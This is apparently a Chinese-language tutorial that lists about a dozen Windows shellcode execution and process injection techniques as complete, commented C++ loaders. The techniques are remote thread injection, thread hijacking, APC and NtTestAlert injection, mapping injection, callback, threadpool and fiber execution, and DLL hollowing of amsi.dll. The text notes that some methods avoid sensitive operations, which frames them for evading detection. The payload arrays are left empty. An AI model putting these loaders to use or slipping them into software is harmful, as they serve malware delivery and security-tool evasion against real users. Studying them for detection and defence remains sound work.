shellcode 执行

指针执行

1
2
3
4
5
6
7
#include <iostream>
#include <Windows.h>
#pragma comment(linker, "/section:.data,RWE")
int main()
{
((void(*)(void)) & hexData)();
}

#pragma comment(linker, "/section:.data,RWE"):这是一个编译器指令,告诉链接器对.data段进行特殊处理。

  • .data段:通常是程序的可读写数据区域,存放全局变量和静态变量。

  • RWE:分别表示该段具有可读(Read)、可写(Write)和可执行(Execute)的权限。
    通常.data段默认不允许执行代码,而这个指令让程序的数据段可执行,允许代码动态修改并运行从数据段加载的内容。

int main()

  • (void(*)(void)):这里定义了一个函数指针。void(*)(void)表示这是一个指针,指向返回类型为void、不带参数的函数。

  • &hexData:假设这是数据段中的某个数据或代码块的地址(hexData),这段代码将hexData的地址强制转换为函数指针的形式。

  • ((void(*)(void)) &hexData)();:通过这个函数指针调用hexData指向的代码。这就是在执行嵌入在数据段中的“代码”部分。

线程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>
#include <Windows.h>
#pragma comment(linker, "/subsystem:\"Windows\"
/entry:\"mainCRTStartup\"")
int main()
{
LPVOID pAddress = VirtualAlloc(NULL, sizeof(shellCode),MEM_COMMIT, PAGE_EXECUTE_READWRITE);//分配内存
RtlCopyMemory(pAddress, shellCode, sizeof(shellCode));//复制
HANDLE handle = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)pAddress, NULL, 0, NULL);
WaitForSingleObject(handle, INFINITE);
CloseHandle(handle);
}

#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

  • /subsystem:"Windows":告诉编译器程序是Windows子系统的应用程序。没有控制台窗口弹出,适用于图形界面或静默执行的应用。

  • /entry:"mainCRTStartup":指定程序的入口点为mainCRTStartup,跳过了C++标准库的初始化代码,使得程序从main()函数直接启动。

VirtualAlloc():用于在进程的虚拟地址空间中分配一块内存。

  • NULL:表示让系统自动选择地址。

  • sizeof(shellCode):分配的内存大小,和shellCode大小相同。

  • MEM_COMMIT:指定要提交内存,使其可用。

  • PAGE_EXECUTE_READWRITE:设置该内存区域的权限为可读、可写和可执行。

进程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void NewProcessUB() {
STARTUPINFO si; // 定义一个STARTUPINFO结构体变量,用于设置新进程的启动信息
PROCESS_INFORMATION pi; // 定义一个PROCESS_INFORMATION结构体,用于存储新进程的相关信息(进程句柄、线程句柄等)

ZeroMemory(&si, sizeof(si)); // 将si结构体的内存区域全部清零,确保没有残留数据
si.cb = sizeof(si); // 设置si结构体的大小,用于CreateProcess函数

ZeroMemory(&pi, sizeof(pi)); // 将pi结构体的内存区域全部清零,确保没有残留数据

if (!CreateProcess(TEXT("./UB.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
exit(-1); // 如果进程创建失败,程序退出并返回-1
}

// 关闭进程和线程的句柄,防止资源泄漏
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

STARTUPINFO si:用于指定新进程的启动信息,例如窗口大小、位置等。在这个例子中,它被初始化为默认值。

PROCESS_INFORMATION pi:用于接收新进程和线程的句柄,以及进程和线程ID。

ZeroMemory():清空结构体内存,确保初始化时没有残留数据。

CreateProcess():用于创建一个新的进程,此处尝试启动"./UB.exe"。如果成功,pi将包含新进程和新线程的句柄;如果失败,程序将退出。

CloseHandle():在成功创建进程后,关闭进程和线程的句柄,释放相关的资源。

远程线程注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h> // 包含进程快照相关API,例如CreateToolhelp32Snapshot

DWORD getInjectProcess(wchar_t* name) {
PROCESSENTRY32 lppe = { sizeof(lppe) }; // 初始化PROCESSENTRY32结构,用于存储进程信息
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); // 创建系统快照,包含所有进程信息

if (handle != INVALID_HANDLE_VALUE) { // 检查快照是否成功创建
BOOL ret = Process32First(handle, &lppe); // 获取第一个进程的信息
while (ret) { // 遍历所有进程
if (!wcscmp(name, lppe.szExeFile)) { // 检查进程名称是否匹配
CloseHandle(handle); // 关闭句柄,防止资源泄漏
std::cout << "Get Process ID: " << lppe.th32ProcessID << std::endl;
// 输出获取到的进程ID
return lppe.th32ProcessID; // 返回目标进程的ID
}
ret = Process32Next(handle, &lppe); // 获取下一个进程的信息
}
}
CloseHandle(handle); // 遍历结束后关闭句柄
return -1; // 如果没有找到目标进程,返回-1
}
int main() {
wchar_t name[] = L"Notepad.exe"; // 要注入的目标进程名称
int processId = getInjectProcess(name); // 获取目标进程的ID

if (processId < 0) { // 如果没有找到进程ID,输出错误并退出
std::cout << "Get Process Error" << std::endl;
exit(-1);
}

// 以最高权限打开目标进程,获取其句柄
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, true, processId);
if (!process) { // 如果打开进程失败,输出错误并退出
std::cout << "OpenProcess Error" << std::endl;
exit(-1);
}

// 在目标进程的虚拟内存中分配空间,用于存储shellCode
LPVOID lpAddress = VirtualAllocEx(process, NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpAddress) { // 如果内存分配失败,输出错误并退出
std::cout << "VirtualAllocEx Error" << std::endl;
exit(-1);
}

// 将shellCode写入目标进程的内存中
WriteProcessMemory(process, lpAddress, shellCode, sizeof(shellCode), NULL);

// 在目标进程中创建一个新线程,执行写入的shellCode
HANDLE hProcess = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, NULL);

// 等待线程执行完毕
WaitForSingleObject(hProcess, INFINITE);

CloseHandle(process);
CloseHandle(hProcess);
}

远程线程劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <iostream> 
#include <Windows.h> // 包含Windows API函数

int main()
{
STARTUPINFO si = { 0 }; // STARTUPINFO结构体:初始化进程启动信息结构体
PROCESS_INFORMATION pi = { 0 }; // PROCESS_INFORMATION结构体:初始化进程信息结构体
CONTEXT ctx = { 0 }; // CONTEXT结构体:初始化上下文结构体
wchar_t cmdLine[] = L"C:\\Windows\\System32\\notepad.exe"; // cmdLine:要启动的命令行

// CreateProcess函数:创建进程,不直接运行,而是进行进一步处理
CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

// SuspendThread函数:暂停新进程的线程,允许后续操作
SuspendThread(pi.hThread);

// VirtualAllocEx函数:在新进程的地址空间分配内存
LPVOID lpAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// WriteProcessMemory函数:将shellCode写入到新进程的分配内存中
WriteProcessMemory(pi.hProcess, lpAddress, shellCode, sizeof(shellCode), NULL);

ctx.ContextFlags = CONTEXT_ALL; // 设置上下文标志,表示获取所有寄存器信息
// GetThreadContext函数:获取当前线程的上下文
GetThreadContext(pi.hThread, &ctx);

// 修改指令指针,指向刚刚写入的shellCode地址
ctx.Rip = (DWORD64)lpAddress;

// SetThreadContext函数:设置修改后的上下文到线程
SetThreadContext(pi.hThread, &ctx);

// ResumeThread函数:恢复线程执行,运行shellCode
ResumeThread(pi.hThread);

// CloseHandle函数:关闭线程和进程句柄
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
wchar_t cmdLine[] = L"C:\\Windows\\System32\\notepad.exe";

wchar_t: 这是一个宽字符类型,用于表示更大的字符集,支持Unicode字符集。相比于普通的char类型,wchar_t可以处理多字节字符,从而支持多种语言和特殊符号。

cmdLine[]: 这是一个字符数组,用于存储字符串。在这里,它用来存储将要执行的程序路径。

L"...": 前缀L表示字符串是一个宽字符字符串,即Unicode格式。它确保字符串中的每个字符都是宽字符。

C:\\Windows\\System32\\notepad.exe: 这是要启动的程序的完整路径,指向Windows系统中的记事本应用程序。双反斜杠\\用于转义字符,确保路径在字符串中正确表示。

APC 注入

APC(异步过程调用)注入是一种在Windows操作系统中通过异步过程调用向目标进程注入代码的技术。APC允许一个线程在某个目标线程的上下文中执行代码,而不需要直接修改目标进程的内存。

QueueUserAPC 函数的定义:

1
2
3
4
5
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, // 指向要执行的APC函数的指针
[in] HANDLE hThread, // 要将APC排队到的线程的句柄
[in] ULONG_PTR dwData // 传递给APC函数的参数
);

pfnAPC:指向 APC 函数的指针,当指定线程执行可警报等待操作时,将调用该函数。

hThread:线程的句柄。该句柄必须具有 THREAD_SET_CONTEXT 访问权限。

dwData:传递给pfnAPC参数指向的 APC 函数的单个值。一般设置为 NULL

使用 QueueUserApc 函数向指定线程的 APC 队列中插入回 调,然后当线程唤醒的时候,就会优先去 APC 队列中调用回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include <iostream>        
#include <Windows.h>
#include <TlHelp32.h>
#include <vector> // 引入向量容器,用于存储线程ID

// 函数声明:获取指定进程的ID
static DWORD getInjectProcess(HANDLE snapshot, wchar_t* name) {
PROCESSENTRY32 lppe = { sizeof(lppe) }; // 初始化PROCESSENTRY32结构体,用于存储进程信息
if (snapshot != INVALID_HANDLE_VALUE) { // 检查快照句柄是否有效
BOOL ret = Process32First(snapshot, &lppe); // 获取第一个进程的信息
while (ret) { // 遍历所有进程
if (!wcscmp(name, lppe.szExeFile)) { // 检查进程名称是否匹配
std::cout << "Get Process ID: " << lppe.th32ProcessID << std::endl;
return lppe.th32ProcessID; // 返回目标进程的ID
}
ret = Process32Next(snapshot, &lppe); // 获取下一个进程的信息
}
}
return -1; // 如果没有找到目标进程,返回-1
}

// 函数声明:获取指定进程的所有线程ID
static std::vector<DWORD> getInjectThread(HANDLE snapshot, DWORD processId) {
std::vector<DWORD> threadIds; // 存储线程ID的向量
THREADENTRY32 lpte = { sizeof(lpte) }; // 初始化THREADENTRY32结构体,用于存储线程信息
if (snapshot != INVALID_HANDLE_VALUE) { // 检查快照句柄是否有效
BOOL ret = Thread32First(snapshot, &lpte); // 获取第一个线程的信息
while (ret) { // 遍历所有线程
if (lpte.th32OwnerProcessID == processId) { // 检查线程是否属于指定进程
std::cout << "Get Thread ID: " << lpte.th32ThreadID << std::endl;
threadIds.push_back(lpte.th32ThreadID); // 将线程ID添加到向量中
}
ret = Thread32Next(snapshot, &lpte); // 获取下一个线程的信息
}
}
return threadIds; // 返回找到的线程ID列表
}

int main() {
wchar_t name[] = L"Notepad.exe"; // 要注入的目标进程名称
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
// 创建系统快照,包含所有进程和线程信息
int processId = getInjectProcess(snapshot, name); // 获取目标进程的ID

// 打开目标进程,获取其句柄
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processId);
if (!process) { // 如果打开进程失败,输出错误并退出
std::cout << "OpenProcess Error" << std::endl;
exit(-1);
}

// 在目标进程的虚拟内存中分配空间,用于存储shellCode
LPVOID lpAddress = VirtualAllocEx(process, NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpAddress) { // 如果内存分配失败,输出错误并退出
std::cout << "VirtualAllocEx Error" << std::endl;
exit(-1);
}

// 将shellCode写入目标进程的内存中
WriteProcessMemory(process, lpAddress, shellCode, sizeof(shellCode), NULL);

// 获取目标进程的所有线程ID
std::vector<DWORD> threadIds = getInjectThread(snapshot, processId);
if (!threadIds.empty()) { // 如果找到线程ID
for (DWORD threadId : threadIds) { // 遍历所有线程ID
HANDLE thread = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
// 打开线程句柄
QueueUserAPC((PAPCFUNC)lpAddress, thread, NULL);
// 将APC排入线程的APC队列,执行注入的代码
SleepEx(2000, TRUE); // 等待2秒,确保APC执行
CloseHandle(thread);
}
}
CloseHandle(snapshot);
CloseHandle(process);
}

通过 ResumeThread 函数恢复线程的执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <iostream>        
#include <windows.h> // 包含Windows API库,用于系统调用

int main() {
STARTUPINFO si = { sizeof(si) }; // 初始化STARTUPINFO结构体,设置结构体大小
PROCESS_INFORMATION pi; // 用于接收新进程的信息
wchar_t cmdLine[] = L"C:\\Windows\\System32\\notepad.exe";

// 创建新进程,设置为挂起状态
CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 在新进程的虚拟内存中分配空间,准备存放shellCode
LPVOID lpAddress = VirtualAllocEx(pi.hProcess, NULL,sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将shellCode写入新进程的内存中
WriteProcessMemory(pi.hProcess, lpAddress, shellCode, sizeof(shellCode), NULL);

QueueUserAPC((PAPCFUNC)lpAddress, pi.hThread, NULL);

// 恢复新进程的线程,开始执行
ResumeThread(pi.hThread);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

直接利用 NtTestAlert 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <iostream>        
#include <windows.h>

// 定义一个函数指针类型,指向NtTestAlert函数
typedef VOID(NTAPI* pNtTestAlert)();

int main() {
// 获取ntdll.dll中的NtTestAlert函数的地址
// GetModuleHandleA("ntdll"):获取ntdll.dll模块的句柄
// GetProcAddress():根据函数名称获取模块中指定函数的地址
pNtTestAlert myNtTestAlert =(pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert");

// 在当前进程的虚拟内存中分配空间,用于存放shellCode
LPVOID lpAddress = VirtualAlloc(NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将shellCode拷贝到分配的内存地址
// RtlCopyMemory(destination, source, length):
// destination:目标地址,即刚刚分配的内存
// source:要复制的数据,即shellCode
// length:要复制的字节数,即shellCode的大小
RtlCopyMemory(lpAddress, shellCode, sizeof(shellCode));

// 将APC排入当前线程的APC队列,以便在该线程中执行注入的代码
// QueueUserAPC(APC函数指针, 线程句柄, 参数):
// (PAPCFUNC)lpAddress:指向注入代码的指针
// GetCurrentThread():获取当前线程的句柄
// NULL:传递给APC的参数,这里不需要传递参数
QueueUserAPC((PAPCFUNC)lpAddress, GetCurrentThread(), NULL);

// 调用NtTestAlert函数,触发APC执行
myNtTestAlert(); // 调用NtTestAlert以唤醒当前线程的APC,执行排队的APC
}

映射注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <iostream>        
#include <windows.h>
#pragma comment (lib, "OneCore.lib") // 链接OneCore.lib库,提供相关API支持

int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 }; // 初始化PROCESS_INFORMATION结构体,设置为零

// 创建文件映射对象
// CreateFileMapping:
// INVALID_HANDLE_VALUE:表示创建匿名文件映射
// NULL:默认安全属性
// PAGE_EXECUTE_READWRITE:映射的内存页具有可执行、可读和可写权限
// 0:映射对象的大小(使用内存中对象的大小)
// sizeof(shellCode):映射对象的大小,即shellCode的大小
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellCode), NULL);

// 将文件映射视图映射到本进程的内存中
// MapViewOfFile:
// hMapping:文件映射对象的句柄
// FILE_MAP_WRITE:请求写入权限
// 两个0:偏移量
// sizeof(shellCode):映射的字节数
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellCode));

// 将shellCode拷贝到映射的内存中
// memcpy(destination, source, size):
// (PVOID)lpMapAddress:目标地址,即映射的内存地址
// shellCode:源数据,即要拷贝的代码
// sizeof(shellCode):要拷贝的字节数
memcpy((PVOID)lpMapAddress, shellCode, sizeof(shellCode));

// 创建一个新的进程(计算器),设置为挂起状态
// CreateProcessA:
// "C:\\Windows\\System32\\calc.exe":要启动的程序路径
// NULL:命令行参数
// NULL:默认安全属性
// NULL:默认进程句柄
// TRUE:继承当前进程的句柄
// CREATE_SUSPENDED | CREATE_NO_WINDOW:创建进程时挂起并不显示窗口
// NULL:默认环境变量
// NULL:默认工作目录
// (LPSTARTUPINFOA)&si:启动信息结构体的地址
// &pi:接收进程信息的结构体地址
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL,
(LPSTARTUPINFOA)&si, &pi);

// 将文件映射视图映射到远程进程中
// MapViewOfFile2:
// hMapping:文件映射对象的句柄
// pi.hProcess:目标进程的句柄
// 0:偏移量
// NULL:指定映射大小
// 0:映射的字节数
// 0:映射的保护方式(PAGE_EXECUTE_READ表示可执行和可读)
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, pi.hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
QueueUserAPC((PAPCFUNC)lpMapAddressRemote, pi.hThread, NULL);

// 恢复新进程的线程,开始执行
ResumeThread(pi.hThread);

// 关闭句柄,释放资源
CloseHandle(pi.hThread); // 关闭新进程的线程句柄
CloseHandle(hMapping); // 关闭文件映射对象的句柄
UnmapViewOfFile(lpMapAddress); // 解除映射视图

return 0; // 返回0表示程序成功结束
}

回调函数

简单理解回调函数就是能够将另外一个函数当作参数带入,那么只需要将 shellcode 的地址代替 传入的函数参数,就可以执行恶意代码。这种方式能够避免创建线程等敏感操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <iostream>        
#include <windows.h>
#include <stdio.h>

int main() {
HANDLE phNewTimer = NULL; // 定义定时器句柄
HANDLE timeQueue = CreateTimerQueue(); // 创建定时器队列

// 创建事件对象,手动重置,不发出初始状态信号
// CreateEvent:
// NULL:默认安全属性
// TRUE:手动重置事件
// FALSE:初始状态不发出信号
// NULL:不指定名称
HANDLE event = CreateEvent(NULL, TRUE, FALSE, NULL);

// 在虚拟内存中分配空间,用于存放shellCode
LPVOID lpAddress = VirtualAlloc(NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将shellCode拷贝到分配的内存地址
// CopyMemory:
// lpAddress:目标地址,即刚刚分配的内存
// shellCode:源数据,即要拷贝的代码
// sizeof(shellCode):要拷贝的字节数
CopyMemory(lpAddress, shellCode, sizeof(shellCode));

// 创建定时器并将其与定时器队列关联
// CreateTimerQueueTimer:
// &phNewTimer:接收定时器句柄的指针
// timeQueue:定时器队列句柄
// (WAITORTIMERCALLBACK)lpAddress:定时器回调函数指针,即注入的代码地址
// NULL:不传递给回调函数的参数
// 2000:定时器首次到期的时间(以毫秒为单位),即2秒
// 0:定时器在到期后不重复
// 0:不指定定时器的优先级
CreateTimerQueueTimer(&phNewTimer, timeQueue, (WAITORTIMERCALLBACK)lpAddress, NULL, 2000, 0, 0);

// 等待事件发出信号,无限等待
// WaitForSingleObject:
// event:等待的事件句柄
// INFINITE:无限期等待,直到事件被发出信号
WaitForSingleObject(event, INFINITE);
}

线程池执行

涉及到了三个函数 CreateThreadpoolWait(创建一个线程池)、SetThreadpoolWait(等待线 程池触发)、CreateEventA(创建一个事件)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <iostream>        // 标准C++输入输出库
#include <windows.h> // 包含Windows API库,用于系统调用
#include <stdio.h> // 标准输入输出库,用于printf等功能

int main() {
DWORD oldProtect; // 存储原有内存保护权限

// 创建事件对象,发出初始状态信号,自动重置
// CreateEvent:
// NULL:默认安全属性
// FALSE:自动重置事件
// TRUE:初始状态发出信号
// NULL:不指定名称
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);

// 修改shellCode的内存保护属性,允许执行和读写
// VirtualProtect:
// (LPVOID)shellCode:要修改保护的内存地址,即shellCode
// sizeof(shellCode):要修改的字节数
// PAGE_EXECUTE_READWRITE:新的保护属性,允许执行、读和写
// &oldProtect:保存原来的保护属性
VirtualProtect((LPVOID)shellCode, sizeof(shellCode), PAGE_EXECUTE_READWRITE, &oldProtect);

// 创建线程池和回调函数
// CreateThreadpoolWait:
// (PTP_WAIT_CALLBACK)(LPVOID)shellCode:指向回调函数的指针,即注入的代码
// NULL:不传递给回调的参数
// NULL:默认的线程池
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)shellCode, NULL, NULL);

// 设置线程池等待,事件信号触发时立即执行回调函数
// SetThreadpoolWait:
// threadPoolWait:线程池等待的句柄
// event:用于触发的事件句柄
// NULL:不传递给回调的参数
SetThreadpoolWait(threadPoolWait, event, NULL);

// 等待事件信号触发,无限等待
// WaitForSingleObject:
// event:等待的事件句柄
// INFINITE:无限期等待,直到事件被发出信号
WaitForSingleObject(event, INFINITE);
}

纤程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>        // 标准C++输入输出库
#include <Windows.h> // 包含Windows API库,用于系统调用

int main() {
DWORD oldProtect; // 存储原有内存保护权限

// 修改shellCode的内存保护属性,允许执行和读写
// VirtualProtect:
// (LPVOID)shellCode:要修改保护的内存地址,即shellCode
// sizeof(shellCode):要修改的字节数
// PAGE_EXECUTE_READWRITE:新的保护属性,允许执行、读和写
// &oldProtect:保存原来的保护属性
VirtualProtect((LPVOID)shellCode, sizeof(shellCode), PAGE_EXECUTE_READWRITE, &oldProtect);

// 将当前线程转换为纤程,允许使用纤程API
// ConvertThreadToFiber:
// NULL:不传递任何参数
ConvertThreadToFiber(NULL);

// 创建一个新的纤程,指定回调函数为shellCode
// CreateFiber:
// 0:分配的堆栈大小为默认值
// (LPFIBER_START_ROUTINE)(LPVOID)shellCode:指向纤程的起始例程,即要执行的代码
// NULL:不传递给纤程的参数
LPVOID fiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)shellCode, NULL);

// 切换到新创建的纤程执行代码
// SwitchToFiber:
// fiber:要切换到的纤程句柄
SwitchToFiber(fiber);

// 删除创建的纤程,释放资源
// DeleteFiber:
// fiber:要删除的纤程句柄
DeleteFiber(fiber);
}

DLL 镂空

注入流程:

  1. 远程注入一个系统

  2. DLL 定位该模块的入口地址

  3. shellcode 复写入口点

  4. 创建远程线程执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <iostream>        // 标准C++输入输出库
#include <Windows.h> // 包含Windows API库,用于系统调用
#include <psapi.h> // 包含进程状态 API,用于获取进程和模块信息

char shellcode[] = ""; // 壳代码,待注入的代码

int main(int argc, char* argv[]) {
TCHAR ModuleName[] = L"C:\\windows\\system32\\amsi.dll"; // 要注入的DLL路径
HMODULE hModules[256] = {}; // 模块句柄数组
SIZE_T hModulesSize = sizeof(hModules); // 模块句柄数组大小
DWORD hModulesSizeNeeded = 0; // 实际需要的模块句柄大小
DWORD moduleNameSize = 0; // 模块名称大小
SIZE_T hModulesCount = 0; // 模块数量
CHAR rModuleName[128] = {}; // 存放远程模块名称
HMODULE rModule = NULL; // 远程模块句柄

// 远程注入一个系统 DLL
// OpenProcess:
// PROCESS_ALL_ACCESS:请求对目标进程的所有访问权限
// FALSE:不继承句柄
// 2924:目标进程的ID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2924);

// 在目标进程中分配内存
// VirtualAllocEx:
// hProcess:目标进程的句柄
// NULL:让系统自动选择内存地址
// sizeof(ModuleName):要分配的内存大小
// MEM_COMMIT:承诺分配的内存
// PAGE_READWRITE:设置为可读可写
LPVOID lprBuffer = VirtualAllocEx(hProcess, NULL, sizeof(ModuleName), MEM_COMMIT, PAGE_READWRITE);

// 写入DLL路径到目标进程的内存
// WriteProcessMemory:
// hProcess:目标进程的句柄
// lprBuffer:目标进程的内存地址
// (LPVOID)ModuleName:要写入的源数据,即DLL路径
// sizeof(ModuleName):要写入的字节数
// NULL:不需要返回写入的字节数
WriteProcessMemory(hProcess, lprBuffer, (LPVOID)ModuleName, sizeof(ModuleName), NULL);

// 获取LoadLibraryW的地址
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

// 创建远程线程以加载DLL
// CreateRemoteThread:
// hProcess:目标进程的句柄
// NULL:默认安全属性
// 0:默认线程堆栈大小
// threadRoutine:指向要调用的线程例程,即LoadLibraryW
// lprBuffer:传递给线程的参数,这里是DLL路径
// 0:默认线程优先级
// NULL:不需要返回线程ID
HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, threadRoutine, lprBuffer, 0, NULL);

// 等待线程执行完成,最多等待1秒
// WaitForSingleObject:
// dllThread:要等待的线程句柄
// 1000:等待的最大时间(毫秒)
WaitForSingleObject(dllThread, 1000);

// 寻找模块的基地址
// EnumProcessModules:
// hProcess:目标进程的句柄
// hModules:存放模块句柄的数组
// hModulesSize:数组的大小
// &hModulesSizeNeeded:实际需要的大小
EnumProcessModules(hProcess, hModules, hModulesSize, &hModulesSizeNeeded);

// 计算模块数量
hModulesCount = hModulesSizeNeeded / sizeof(HMODULE);

// 遍历模块,查找amsi.dll
for (size_t i = 0; i < hModulesCount; i++) {
rModule = hModules[i]; // 获取模块句柄
// 获取模块名称
// GetModuleBaseNameA:
// hProcess:目标进程的句柄
// rModule:模块句柄
// rModuleName:用于存放模块名称的字符数组
// sizeof(rModuleName):数组大小
GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName));

// 检查是否为amsi.dll
if (std::string(rModuleName).compare("amsi.dll") == 0) {
break; // 找到amsi.dll,退出循环
}
}

// 定位模块的入口地址
DWORD headerBufferSize = 0x1000; // 分配的缓冲区大小
// HeapAlloc:
// GetProcessHeap():获取当前进程的堆句柄
// HEAP_ZERO_MEMORY:分配的内存会被初始化为0
LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);

// 读取模块的PE头信息
// ReadProcessMemory:
// hProcess:目标进程的句柄
// rModule:要读取的模块句柄
// peHeader:目标地址,存放读取的数据
// headerBufferSize:要读取的字节数
// NULL:不需要返回读取的字节数
ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);

// 定义DOS头和NT头结构
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peHeader; // DOS头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + dosHeader->e_lfanew); // NT头

// 获取DLL入口点的地址
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);

// 复写模块的入口
// WriteProcessMemory:
// hProcess:目标进程的句柄
// dllEntryPoint:入口地址
// (LPCVOID)shellcode:要写入的代码
// sizeof(shellcode):要写入的字节数
// NULL:不需要返回写入的字节数
WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);

// 创建远程线程执行
// CreateRemoteThread:
// hProcess:目标进程的句柄
// NULL:默认安全属性
// 0:默认线程堆栈大小
// (PTHREAD_START_ROUTINE)dllEntryPoint:指向DLL入口的线程例程
// NULL:不传递任何参数
// 0:默认线程优先级
// NULL:不需要返回线程ID
CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);

return 0;
}